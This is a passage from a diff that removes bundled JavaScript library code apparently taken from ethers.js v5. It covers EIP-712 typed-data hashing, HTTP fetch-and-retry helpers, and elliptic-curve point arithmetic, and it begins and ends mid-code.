st.map((t) => encodeType(t, types[t])).join(""); - } - } - getEncoder(type) { - let encoder = this._encoderCache[type]; - if (!encoder) { - encoder = this._encoderCache[type] = this._getEncoder(type); - } - return encoder; - } - _getEncoder(type) { - { - const encoder = getBaseEncoder(type); - if (encoder) { - return encoder; - } - } - const match = type.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (match) { - const subtype = match[1]; - const subEncoder = this.getEncoder(subtype); - const length = parseInt(match[3]); - return (value) => { - if (length >= 0 && value.length !== length) { - logger10.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", value); - } - let result = value.map(subEncoder); - if (this._types[subtype]) { - result = result.map(keccak256); - } - return keccak256(hexConcat(result)); - }; - } - const fields = this.types[type]; - if (fields) { - const encodedType = id(this._types[type]); - return (value) => { - const values = fields.map(({ name, type: type2 }) => { - const result = this.getEncoder(type2)(value[name]); - if (this._types[type2]) { - return keccak256(result); - } - return result; - }); - values.unshift(encodedType); - return hexConcat(values); - }; - } - return logger10.throwArgumentError(`unknown type: ${type}`, "type", type); - } - encodeType(name) { - const result = this._types[name]; - if (!result) { - logger10.throwArgumentError(`unknown type: ${JSON.stringify(name)}`, "name", name); - } - return result; - } - encodeData(type, value) { - return this.getEncoder(type)(value); - } - hashStruct(name, value) { - return keccak256(this.encodeData(name, value)); - } - encode(value) { - return this.encodeData(this.primaryType, value); - } - hash(value) { - return this.hashStruct(this.primaryType, value); - } - _visit(type, value, callback) { - { - const encoder = getBaseEncoder(type); - if (encoder) { - return callback(type, value); - } - } - const match = type.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (match) { - const subtype = match[1]; - const length = parseInt(match[3]); - if (length >= 0 && value.length !== length) { - logger10.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", value); - } - return value.map((v) => this._visit(subtype, v, callback)); - } - const fields = this.types[type]; - if (fields) { - return fields.reduce((accum, { name, type: type2 }) => { - accum[name] = this._visit(type2, value[name], callback); - return accum; - }, {}); - } - return logger10.throwArgumentError(`unknown type: ${type}`, "type", type); - } - visit(value, callback) { - return this._visit(this.primaryType, value, callback); - } - static from(types) { - return new _TypedDataEncoder(types); - } - static getPrimaryType(types) { - return _TypedDataEncoder.from(types).primaryType; - } - static hashStruct(name, types, value) { - return _TypedDataEncoder.from(types).hashStruct(name, value); - } - static hashDomain(domain) { - const domainFields = []; - for (const name in domain) { - const type = domainFieldTypes[name]; - if (!type) { - logger10.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(name)}`, "domain", domain); - } - domainFields.push({ name, type }); - } - domainFields.sort((a, b) => { - return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name); - }); - return _TypedDataEncoder.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); - } - static encode(domain, types, value) { - return hexConcat([ - "0x1901", - _TypedDataEncoder.hashDomain(domain), - _TypedDataEncoder.from(types).hash(value) - ]); - } - static hash(domain, types, value) { - return keccak256(_TypedDataEncoder.encode(domain, types, value)); - } - // Replaces all address types with ENS names with their looked up address - static resolveNames(domain, types, value, resolveName2) { - return __awaiter3(this, void 0, void 0, function* () { - domain = shallowCopy(domain); - const ensCache = {}; - if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) { - ensCache[domain.verifyingContract] = "0x"; - } - const encoder = _TypedDataEncoder.from(types); - encoder.visit(value, (type, value2) => { - if (type === "address" && !isHexString(value2, 20)) { - ensCache[value2] = "0x"; - } - return value2; - }); - for (const name in ensCache) { - ensCache[name] = yield resolveName2(name); - } - if (domain.verifyingContract && ensCache[domain.verifyingContract]) { - domain.verifyingContract = ensCache[domain.verifyingContract]; - } - value = encoder.visit(value, (type, value2) => { - if (type === "address" && ensCache[value2]) { - return ensCache[value2]; - } - return value2; - }); - return { domain, value }; - }); - } - static getPayload(domain, types, value) { - _TypedDataEncoder.hashDomain(domain); - const domainValues = {}; - const domainTypes = []; - domainFieldNames.forEach((name) => { - const value2 = domain[name]; - if (value2 == null) { - return; - } - domainValues[name] = domainChecks[name](value2); - domainTypes.push({ name, type: domainFieldTypes[name] }); - }); - const encoder = _TypedDataEncoder.from(types); - const typesWithDomain = shallowCopy(types); - if (typesWithDomain.EIP712Domain) { - logger10.throwArgumentError("types must not contain EIP712Domain type", "types.EIP712Domain", types); - } else { - typesWithDomain.EIP712Domain = domainTypes; - } - encoder.encode(value); - return { - types: typesWithDomain, - domain: domainValues, - primaryType: encoder.primaryType, - message: encoder.visit(value, (type, value2) => { - if (type.match(/^bytes(\d*)/)) { - return hexlify(arrayify(value2)); - } - if (type.match(/^u?int/)) { - return BigNumber.from(value2).toString(); - } - switch (type) { - case "address": - return value2.toLowerCase(); - case "bool": - return !!value2; - case "string": - if (typeof value2 !== "string") { - logger10.throwArgumentError(`invalid string`, "value", value2); - } - return value2; - } - return logger10.throwArgumentError("unsupported type", "type", type); - }) - }; - } - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var import_hash = __toESM2(require_hash()); - init_define_chainIDList(); - init_define_extraRpcs(); - var version11 = "sha2/5.7.0"; - var logger11 = new Logger(version11); - function sha256(data) { - return "0x" + import_hash.default.sha256().update(arrayify(data)).digest("hex"); - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version12 = "web/5.7.1"; - init_define_chainIDList(); - init_define_extraRpcs(); - var __awaiter4 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - function getUrl(href, options) { - return __awaiter4(this, void 0, void 0, function* () { - if (options == null) { - options = {}; - } - const request = { - method: options.method || "GET", - headers: options.headers || {}, - body: options.body || void 0 - }; - if (options.skipFetchSetup !== true) { - request.mode = "cors"; - request.cache = "no-cache"; - request.credentials = "same-origin"; - request.redirect = "follow"; - request.referrer = "client"; - } - ; - if (options.fetchOptions != null) { - const opts = options.fetchOptions; - if (opts.mode) { - request.mode = opts.mode; - } - if (opts.cache) { - request.cache = opts.cache; - } - if (opts.credentials) { - request.credentials = opts.credentials; - } - if (opts.redirect) { - request.redirect = opts.redirect; - } - if (opts.referrer) { - request.referrer = opts.referrer; - } - } - const response = yield fetch(href, request); - const body = yield response.arrayBuffer(); - const headers = {}; - if (response.headers.forEach) { - response.headers.forEach((value, key22) => { - headers[key22.toLowerCase()] = value; - }); - } else { - response.headers.keys().forEach((key22) => { - headers[key22.toLowerCase()] = response.headers.get(key22); - }); - } - return { - headers, - statusCode: response.status, - statusMessage: response.statusText, - body: arrayify(new Uint8Array(body)) - }; - }); - } - var __awaiter5 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger12 = new Logger(version12); - function staller(duration) { - return new Promise((resolve) => { - setTimeout(resolve, duration); - }); - } - function bodyify(value, type) { - if (value == null) { - return null; - } - if (typeof value === "string") { - return value; - } - if (isBytesLike(value)) { - if (type && (type.split("/")[0] === "text" || type.split(";")[0].trim() === "application/json")) { - try { - return toUtf8String(value); - } catch (error) { - } - ; - } - return hexlify(value); - } - return value; - } - function unpercent(value) { - return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all3, code) => { - return String.fromCharCode(parseInt(code, 16)); - })); - } - function _fetchData(connection, body, processFunc) { - const attemptLimit = typeof connection === "object" && connection.throttleLimit != null ? connection.throttleLimit : 12; - logger12.assertArgument(attemptLimit > 0 && attemptLimit % 1 === 0, "invalid connection throttle limit", "connection.throttleLimit", attemptLimit); - const throttleCallback = typeof connection === "object" ? connection.throttleCallback : null; - const throttleSlotInterval = typeof connection === "object" && typeof connection.throttleSlotInterval === "number" ? connection.throttleSlotInterval : 100; - logger12.assertArgument(throttleSlotInterval > 0 && throttleSlotInterval % 1 === 0, "invalid connection throttle slot interval", "connection.throttleSlotInterval", throttleSlotInterval); - const errorPassThrough = typeof connection === "object" ? !!connection.errorPassThrough : false; - const headers = {}; - let url = null; - const options = { - method: "GET" - }; - let allow304 = false; - let timeout = 2 * 60 * 1e3; - if (typeof connection === "string") { - url = connection; - } else if (typeof connection === "object") { - if (connection == null || connection.url == null) { - logger12.throwArgumentError("missing URL", "connection.url", connection); - } - url = connection.url; - if (typeof connection.timeout === "number" && connection.timeout > 0) { - timeout = connection.timeout; - } - if (connection.headers) { - for (const key22 in connection.headers) { - headers[key22.toLowerCase()] = { key: key22, value: String(connection.headers[key22]) }; - if (["if-none-match", "if-modified-since"].indexOf(key22.toLowerCase()) >= 0) { - allow304 = true; - } - } - } - options.allowGzip = !!connection.allowGzip; - if (connection.user != null && connection.password != null) { - if (url.substring(0, 6) !== "https:" && connection.allowInsecureAuthentication !== true) { - logger12.throwError("basic authentication requires a secure https url", Logger.errors.INVALID_ARGUMENT, { argument: "url", url, user: connection.user, password: "[REDACTED]" }); - } - const authorization = connection.user + ":" + connection.password; - headers["authorization"] = { - key: "Authorization", - value: "Basic " + encode(toUtf8Bytes(authorization)) - }; - } - if (connection.skipFetchSetup != null) { - options.skipFetchSetup = !!connection.skipFetchSetup; - } - if (connection.fetchOptions != null) { - options.fetchOptions = shallowCopy(connection.fetchOptions); - } - } - const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); - const dataMatch = url ? url.match(reData) : null; - if (dataMatch) { - try { - const response = { - statusCode: 200, - statusMessage: "OK", - headers: { "content-type": dataMatch[1] || "text/plain" }, - body: dataMatch[2] ? decode(dataMatch[3]) : unpercent(dataMatch[3]) - }; - let result = response.body; - if (processFunc) { - result = processFunc(response.body, response); - } - return Promise.resolve(result); - } catch (error) { - logger12.throwError("processing response error", Logger.errors.SERVER_ERROR, { - body: bodyify(dataMatch[1], dataMatch[2]), - error, - requestBody: null, - requestMethod: "GET", - url - }); - } - } - if (body) { - options.method = "POST"; - options.body = body; - if (headers["content-type"] == null) { - headers["content-type"] = { key: "Content-Type", value: "application/octet-stream" }; - } - if (headers["content-length"] == null) { - headers["content-length"] = { key: "Content-Length", value: String(body.length) }; - } - } - const flatHeaders = {}; - Object.keys(headers).forEach((key22) => { - const header = headers[key22]; - flatHeaders[header.key] = header.value; - }); - options.headers = flatHeaders; - const runningTimeout = function() { - let timer22 = null; - const promise = new Promise(function(resolve, reject) { - if (timeout) { - timer22 = setTimeout(() => { - if (timer22 == null) { - return; - } - timer22 = null; - reject(logger12.makeError("timeout", Logger.errors.TIMEOUT, { - requestBody: bodyify(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - timeout, - url - })); - }, timeout); - } - }); - const cancel = function() { - if (timer22 == null) { - return; - } - clearTimeout(timer22); - timer22 = null; - }; - return { promise, cancel }; - }(); - const runningFetch = function() { - return __awaiter5(this, void 0, void 0, function* () { - for (let attempt = 0; attempt < attemptLimit; attempt++) { - let response = null; - try { - response = yield getUrl(url, options); - if (attempt < attemptLimit) { - if (response.statusCode === 301 || response.statusCode === 302) { - const location = response.headers.location || ""; - if (options.method === "GET" && location.match(/^https:/)) { - url = response.headers.location; - continue; - } - } else if (response.statusCode === 429) { - let tryAgain = true; - if (throttleCallback) { - tryAgain = yield throttleCallback(attempt, url); - } - if (tryAgain) { - let stall22 = 0; - const retryAfter = response.headers["retry-after"]; - if (typeof retryAfter === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { - stall22 = parseInt(retryAfter) * 1e3; - } else { - stall22 = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt))); - } - yield staller(stall22); - continue; - } - } - } - } catch (error) { - response = error.response; - if (response == null) { - runningTimeout.cancel(); - logger12.throwError("missing response", Logger.errors.SERVER_ERROR, { - requestBody: bodyify(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - serverError: error, - url - }); - } - } - let body2 = response.body; - if (allow304 && response.statusCode === 304) { - body2 = null; - } else if (!errorPassThrough && (response.statusCode < 200 || response.statusCode >= 300)) { - runningTimeout.cancel(); - logger12.throwError("bad response", Logger.errors.SERVER_ERROR, { - status: response.statusCode, - headers: response.headers, - body: bodyify(body2, response.headers ? response.headers["content-type"] : null), - requestBody: bodyify(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - url - }); - } - if (processFunc) { - try { - const result = yield processFunc(body2, response); - runningTimeout.cancel(); - return result; - } catch (error) { - if (error.throttleRetry && attempt < attemptLimit) { - let tryAgain = true; - if (throttleCallback) { - tryAgain = yield throttleCallback(attempt, url); - } - if (tryAgain) { - const timeout2 = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt))); - yield staller(timeout2); - continue; - } - } - runningTimeout.cancel(); - logger12.throwError("processing response error", Logger.errors.SERVER_ERROR, { - body: bodyify(body2, response.headers ? response.headers["content-type"] : null), - error, - requestBody: bodyify(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - url - }); - } - } - runningTimeout.cancel(); - return body2; - } - return logger12.throwError("failed response", Logger.errors.SERVER_ERROR, { - requestBody: bodyify(options.body, flatHeaders["content-type"]), - requestMethod: options.method, - url - }); - }); - }(); - return Promise.race([runningTimeout.promise, runningFetch]); - } - function fetchJson(connection, json, processFunc) { - let processJsonFunc = (value, response) => { - let result = null; - if (value != null) { - try { - result = JSON.parse(toUtf8String(value)); - } catch (error) { - logger12.throwError("invalid JSON", Logger.errors.SERVER_ERROR, { - body: value, - error - }); - } - } - if (processFunc) { - result = processFunc(result, response); - } - return result; - }; - let body = null; - if (json != null) { - body = toUtf8Bytes(json); - const updated = typeof connection === "string" ? { url: connection } : shallowCopy(connection); - if (updated.headers) { - const hasContentType = Object.keys(updated.headers).filter((k) => k.toLowerCase() === "content-type").length !== 0; - if (!hasContentType) { - updated.headers = shallowCopy(updated.headers); - updated.headers["content-type"] = "application/json"; - } - } else { - updated.headers = { "content-type": "application/json" }; - } - connection = updated; - } - return _fetchData(connection, body, processJsonFunc); - } - function poll(func, options) { - if (!options) { - options = {}; - } - options = shallowCopy(options); - if (options.floor == null) { - options.floor = 0; - } - if (options.ceiling == null) { - options.ceiling = 1e4; - } - if (options.interval == null) { - options.interval = 250; - } - return new Promise(function(resolve, reject) { - let timer22 = null; - let done = false; - const cancel = () => { - if (done) { - return false; - } - done = true; - if (timer22) { - clearTimeout(timer22); - } - return true; - }; - if (options.timeout) { - timer22 = setTimeout(() => { - if (cancel()) { - reject(new Error("timeout")); - } - }, options.timeout); - } - const retryLimit = options.retryLimit; - let attempt = 0; - function check() { - return func().then(function(result) { - if (result !== void 0) { - if (cancel()) { - resolve(result); - } - } else if (options.oncePoll) { - options.oncePoll.once("poll", check); - } else if (options.onceBlock) { - options.onceBlock.once("block", check); - } else if (!done) { - attempt++; - if (attempt > retryLimit) { - if (cancel()) { - reject(new Error("retry limit reached")); - } - return; - } - let timeout = options.interval * parseInt(String(Math.random() * Math.pow(2, attempt))); - if (timeout < options.floor) { - timeout = options.floor; - } - if (timeout > options.ceiling) { - timeout = options.ceiling; - } - setTimeout(check, timeout); - } - return null; - }, function(error) { - if (cancel()) { - reject(error); - } - }); - } - check(); - }); - } - var import_bech32 = __toESM2(require_bech32()); - init_define_chainIDList(); - init_define_extraRpcs(); - var version13 = "providers/5.7.2"; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var import_bn2 = __toESM2(require_bn()); - var import_hash2 = __toESM2(require_hash()); - function createCommonjsModule(fn, basedir, module) { - return module = { - path: basedir, - exports: {}, - require: function(path, base22) { - return commonjsRequire(path, base22 === void 0 || base22 === null ? module.path : base22); - } - }, fn(module, module.exports), module.exports; - } - function commonjsRequire() { - throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs"); - } - var minimalisticAssert = assert; - function assert(val, msg) { - if (!val) - throw new Error(msg || "Assertion failed"); - } - assert.equal = function assertEqual(l, r22, msg) { - if (l != r22) - throw new Error(msg || "Assertion failed: " + l + " != " + r22); - }; - var utils_1 = createCommonjsModule(function(module, exports) { - "use strict"; - var utils = exports; - function toArray22(msg, enc) { - if (Array.isArray(msg)) - return msg.slice(); - if (!msg) - return []; - var res = []; - if (typeof msg !== "string") { - for (var i = 0; i < msg.length; i++) - res[i] = msg[i] | 0; - return res; - } - if (enc === "hex") { - msg = msg.replace(/[^a-z0-9]+/ig, ""); - if (msg.length % 2 !== 0) - msg = "0" + msg; - for (var i = 0; i < msg.length; i += 2) - res.push(parseInt(msg[i] + msg[i + 1], 16)); - } else { - for (var i = 0; i < msg.length; i++) { - var c = msg.charCodeAt(i); - var hi = c >> 8; - var lo = c & 255; - if (hi) - res.push(hi, lo); - else - res.push(lo); - } - } - return res; - } - utils.toArray = toArray22; - function zero2(word) { - if (word.length === 1) - return "0" + word; - else - return word; - } - utils.zero2 = zero2; - function toHex22(msg) { - var res = ""; - for (var i = 0; i < msg.length; i++) - res += zero2(msg[i].toString(16)); - return res; - } - utils.toHex = toHex22; - utils.encode = function encode62(arr, enc) { - if (enc === "hex") - return toHex22(arr); - else - return arr; - }; - }); - var utils_1$1 = createCommonjsModule(function(module, exports) { - "use strict"; - var utils = exports; - utils.assert = minimalisticAssert; - utils.toArray = utils_1.toArray; - utils.zero2 = utils_1.zero2; - utils.toHex = utils_1.toHex; - utils.encode = utils_1.encode; - function getNAF22(num, w, bits) { - var naf = new Array(Math.max(num.bitLength(), bits) + 1); - naf.fill(0); - var ws = 1 << w + 1; - var k = num.clone(); - for (var i = 0; i < naf.length; i++) { - var z; - var mod = k.andln(ws - 1); - if (k.isOdd()) { - if (mod > (ws >> 1) - 1) - z = (ws >> 1) - mod; - else - z = mod; - k.isubn(z); - } else { - z = 0; - } - naf[i] = z; - k.iushrn(1); - } - return naf; - } - utils.getNAF = getNAF22; - function getJSF22(k1, k2) { - var jsf = [ - [], - [] - ]; - k1 = k1.clone(); - k2 = k2.clone(); - var d1 = 0; - var d2 = 0; - var m8; - while (k1.cmpn(-d1) > 0 || k2.cmpn(-d2) > 0) { - var m14 = k1.andln(3) + d1 & 3; - var m24 = k2.andln(3) + d2 & 3; - if (m14 === 3) - m14 = -1; - if (m24 === 3) - m24 = -1; - var u1; - if ((m14 & 1) === 0) { - u1 = 0; - } else { - m8 = k1.andln(7) + d1 & 7; - if ((m8 === 3 || m8 === 5) && m24 === 2) - u1 = -m14; - else - u1 = m14; - } - jsf[0].push(u1); - var u2; - if ((m24 & 1) === 0) { - u2 = 0; - } else { - m8 = k2.andln(7) + d2 & 7; - if ((m8 === 3 || m8 === 5) && m14 === 2) - u2 = -m24; - else - u2 = m24; - } - jsf[1].push(u2); - if (2 * d1 === u1 + 1) - d1 = 1 - d1; - if (2 * d2 === u2 + 1) - d2 = 1 - d2; - k1.iushrn(1); - k2.iushrn(1); - } - return jsf; - } - utils.getJSF = getJSF22; - function cachedProperty(obj, name, computer) { - var key22 = "_" + name; - obj.prototype[name] = function cachedProperty2() { - return this[key22] !== void 0 ? this[key22] : this[key22] = computer.call(this); - }; - } - utils.cachedProperty = cachedProperty; - function parseBytes(bytes) { - return typeof bytes === "string" ? utils.toArray(bytes, "hex") : bytes; - } - utils.parseBytes = parseBytes; - function intFromLE(bytes) { - return new import_bn2.default(bytes, "hex", "le"); - } - utils.intFromLE = intFromLE; - }); - var getNAF = utils_1$1.getNAF; - var getJSF = utils_1$1.getJSF; - var assert$1 = utils_1$1.assert; - function BaseCurve(type, conf) { - this.type = type; - this.p = new import_bn2.default(conf.p, 16); - this.red = conf.prime ? import_bn2.default.red(conf.prime) : import_bn2.default.mont(this.p); - this.zero = new import_bn2.default(0).toRed(this.red); - this.one = new import_bn2.default(1).toRed(this.red); - this.two = new import_bn2.default(2).toRed(this.red); - this.n = conf.n && new import_bn2.default(conf.n, 16); - this.g = conf.g && this.pointFromJSON(conf.g, conf.gRed); - this._wnafT1 = new Array(4); - this._wnafT2 = new Array(4); - this._wnafT3 = new Array(4); - this._wnafT4 = new Array(4); - this._bitLength = this.n ? this.n.bitLength() : 0; - var adjustCount = this.n && this.p.div(this.n); - if (!adjustCount || adjustCount.cmpn(100) > 0) { - this.redN = null; - } else { - this._maxwellTrick = true; - this.redN = this.n.toRed(this.red); - } - } - var base = BaseCurve; - BaseCurve.prototype.point = function point() { - throw new Error("Not implemented"); - }; - BaseCurve.prototype.validate = function validate() { - throw new Error("Not implemented"); - }; - BaseCurve.prototype._fixedNafMul = function _fixedNafMul(p, k) { - assert$1(p.precomputed); - var doubles = p._getDoubles(); - var naf = getNAF(k, 1, this._bitLength); - var I = (1 << doubles.step + 1) - (doubles.step % 2 === 0 ? 2 : 1); - I /= 3; - var repr = []; - var j; - var nafW; - for (j = 0; j < naf.length; j += doubles.step) { - nafW = 0; - for (var l = j + doubles.step - 1; l >= j; l--) - nafW = (nafW << 1) + naf[l]; - repr.push(nafW); - } - var a = this.jpoint(null, null, null); - var b = this.jpoint(null, null, null); - for (var i = I; i > 0; i--) { - for (j = 0; j < repr.length; j++) { - nafW = repr[j]; - if (nafW === i) - b = b.mixedAdd(doubles.points[j]); - else if (nafW === -i) - b = b.mixedAdd(doubles.points[j].neg()); - } - a = a.add(b); - } - return a.toP(); - }; - BaseCurve.prototype._wnafMul = function _wnafMul(p, k) { - var w = 4; - var nafPoints = p._getNAFPoints(w); - w = nafPoints.wnd; - var wnd = nafPoints.points; - var naf = getNAF(k, w, this._bitLength); - var acc = this.jpoint(null, null, null); - for (var i = naf.length - 1; i >= 0; i--) { - for (var l = 0; i >= 0 && naf[i] === 0; i--) - l++; - if (i >= 0) - l++; - acc = acc.dblp(l); - if (i < 0) - break; - var z = naf[i]; - assert$1(z !== 0); - if (p.type === "affine") { - if (z > 0) - acc = acc.mixedAdd(wnd[z - 1 >> 1]); - else - acc = acc.mixedAdd(wnd[-z - 1 >> 1].neg()); - } else { - if (z > 0) - acc = acc.add(wnd[z - 1 >> 1]); - else - acc = acc.add(wnd[-z - 1 >> 1].neg()); - } - } - return p.type === "affine" ? acc.toP() : acc; - }; - BaseCurve.prototype._wnafMulAdd = function _wnafMulAdd(defW, points, coeffs, len, jacobianResult) { - var wndWidth = this._wnafT1; - var wnd = this._wnafT2; - var naf = this._wnafT3; - var max = 0; - var i; - var j; - var p; - for (i = 0; i < len; i++) { - p = points[i]; - var nafPoints = p._getNAFPoints(defW); - wndWidth[i] = nafPoints.wnd; - wnd[i] = nafPoints.points; - } - for (i = len - 1; i >= 1; i -= 2) { - var a = i - 1; - var b = i; - if (wndWidth[a] !== 1 || wndWidth[b] !== 1) { - naf[a] = getNAF(coeffs[a], wndWidth[a], this._bitLength); - naf[b] = getNAF(coeffs[b], wndWidth[b], this._bitLength); - max = Math.max(naf[a].length, max); - max = Math.max(naf[b].length, max); - continue; - } - var comb = [ - points[a], - /* 1 */ - null, - /* 3 */ - null, - /* 5 */ - points[b] - /* 7 */ - ]; - if (points[a].y.cmp(points[b].y) === 0) { - comb[1] = points[a].add(points[b]); - comb[2] = points[a].toJ().mixedAdd(points[b].neg()); - } else if (points[a].y.cmp(points[b].y.redNeg()) === 0) { - comb[1] = points[a].toJ().mixedAdd(points[b]); - comb[2] = points[a].add(points[b].neg()); - } else { - comb[1] = points[a].toJ().mixedAdd(points[b]); - comb[2] = points[a].toJ().mixedAdd(points[b].neg()); - } - var index2 = [ - -3, - /* -1 -1 */ - -1, - /* -1 0 */ - -5, - /* -1 1 */ - -7, - /* 0 -1 */ - 0, - /* 0 0 */ - 7, - /* 0 1 */ - 5, - /* 1 -1 */ - 1, - /* 1 0 */ - 3 - /* 1 1 */ - ]; - var jsf = getJSF(coeffs[a], coeffs[b]); - max = Math.max(jsf[0].length, max); - naf[a] = new Array(max); - naf[b] = new Array(max); - for (j = 0; j < max; j++) { - var ja = jsf[0][j] | 0; - var jb = jsf[1][j] | 0; - naf[a][j] = index2[(ja + 1) * 3 + (jb + 1)]; - naf[b][j] = 0; - wnd[a] = comb; - } - } - var acc = this.jpoint(null, null, null); - var tmp = this._wnafT4; - for (i = max; i >= 0; i--) { - var k = 0; - while (i >= 0) { - var zero = true; - for (j = 0; j < len; j++) { - tmp[j] = naf[j][i] | 0; - if (tmp[j] !== 0) - zero = false; - } - if (!zero) - break; - k++; - i--; - } - if (i >= 0) - k++; - acc = acc.dblp(k); - if (i < 0) - break; - for (j = 0; j < len; j++) { - var z = tmp[j]; - p; - if (z === 0) - continue; - else if (z > 0) - p = wnd[j][z - 1 >> 1]; - else if (z < 0) - p = wnd[j][-z - 1 >> 1].neg(); - if (p.type === "affine") - acc = acc.mixedAdd(p); - else - acc = acc.add(p); - } - } - for (i = 0; i < len; i++) - wnd[i] = null; - if (jacobianResult) - return acc; - else - return acc.toP(); - }; - function BasePoint(curve, type) { - this.curve = curve; - this.type = type; - this.precomputed = null; - } - BaseCurve.BasePoint = BasePoint; - BasePoint.prototype.eq = function eq() { - throw new Error("Not implemented"); - }; - BasePoint.prototype.validate = function validate2() { - return this.curve.validate(this); - }; - BaseCurve.prototype.decodePoint = function decodePoint(bytes, enc) { - bytes = utils_1$1.toArray(bytes, enc); - var len = this.p.byteLength(); - if ((bytes[0] === 4 || bytes[0] === 6 || bytes[0] === 7) && bytes.length - 1 === 2 * len) { - if (bytes[0] === 6) - assert$1(bytes[bytes.length - 1] % 2 === 0); - else if (bytes[0] === 7) - assert$1(bytes[bytes.length - 1] % 2 === 1); - var res = this.point( - bytes.slice(1, 1 + len), - bytes.slice(1 + len, 1 + 2 * len) - ); - return res; - } else if ((bytes[0] === 2 || bytes[0] === 3) && bytes.length - 1 === len) { - return this.pointFromX(bytes.slice(1, 1 + len), bytes[0] === 3); - } - throw new Error("Unknown point format"); - }; - BasePoint.prototype.encodeCompressed = function encodeCompressed(enc) { - return this.encode(enc, true); - }; - BasePoint.prototype._encode = function _encode2(compact) { - var len = this.curve.p.byteLength(); - var x = this.getX().toArray("be", len); - if (compact) - return [this.getY().isEven() ? 2 : 3].concat(x); - return [4].concat(x, this.getY().toArray("be", len)); - }; - BasePoint.prototype.encode = function encode3(enc, compact) { - return utils_1$1.encode(this._encode(compact), enc); - }; - BasePoint.prototype.precompute = function precompute(power) { - if (this.precomputed) - return this; - var precomputed = { - doubles: null, - naf: null, - beta: null - }; - precomputed.naf = this._getNAFPoints(8); - precomputed.doubles = this._getDoubles(4, power); - precomputed.beta = this._getBeta(); - this.precomputed = precomputed; - return this; - }; - BasePoint.prototype._hasDoubles = function _hasDoubles(k) { - if (!this.precomputed) - return false; - var doubles = this.precomputed.doubles; - if (!doubles) - return false; - return doubles.points.length >= Math.ceil((k.bitLength() + 1) / doubles.step); - }; - BasePoint.prototype._getDoubles = function _getDoubles(step, power) { - if (this.precomputed && this.precomputed.doubles) - return this.precomputed.doubles; - var doubles = [this]; - var acc = this; - for (var i = 0; i < power; i += step) { - for (var j = 0; j < step; j++) - acc = acc.dbl(); - doubles.push(acc); - } - return { - step, - points: doubles - }; - }; - BasePoint.prototype._getNAFPoints = function _getNAFPoints(wnd) { - if (this.precomputed && this.precomputed.naf) - return this.precomputed.naf; - var res = [this]; - var max = (1 << wnd) - 1; - var dbl32 = max === 1 ? null : this.dbl(); - for (var i = 1; i < max; i++) - res[i] = res[i - 1].add(dbl32); - return { - wnd, - points: res - }; - }; - BasePoint.prototype._getBeta = function _getBeta() { - return null; - }; - BasePoint.prototype.dblp = function dblp(k) { - var r22 = this; - for (var i = 0; i < k; i++) - r22 = r22.dbl(); - return r22; - }; - var inherits_browser = createCommonjsModule(function(module) { - if (typeof Object.create === "function") { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - ctor.prototype = Object.create(superCtor.prototype, { - constructor: { - value: ctor, - enumerable: false, - writable: true, - configurable: true - } - }); - } - }; - } else { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - var TempCtor = function() { - }; - TempCtor.prototype = superCtor.prototype; - ctor.prototype = new TempCtor(); - ctor.prototype.constructor = ctor; - } - }; - } - }); - var assert$2 = utils_1$1.assert; - function ShortCurve(conf) { - base.call(this, "short", conf); - this.a = new import_bn2.default(conf.a, 16).toRed(this.red); - this.b = new import_bn2.default(conf.b, 16).toRed(this.red); - this.tinv = this.two.redInvm(); - this.zeroA = this.a.fromRed().cmpn(0) === 0; - this.threeA = this.a.fromRed().sub(this.p).cmpn(-3) === 0; - this.endo = this._getEndomorphism(conf); - this._endoWnafT1 = new Array(4); - this._endoWnafT2 = new Array(4); - } - inherits_browser(ShortCurve, base); - var short_1 = ShortCurve; - ShortCurve.prototype._getEndomorphism = function _getEndomorphism(conf) { - if (!this.zeroA || !this.g || !this.n || this.p.modn(3) !== 1) - return; - var beta; - var lambda; - if (conf.beta) { - beta = new import_bn2.default(conf.beta, 16).toRed(this.red); - } else { - var betas = this._getEndoRoots(this.p); - beta = betas[0].cmp(betas[1]) < 0 ? betas[0] : betas[1]; - beta = beta.toRed(this.red); - } - if (conf.lambda) { - lambda = new import_bn2.default(conf.lambda, 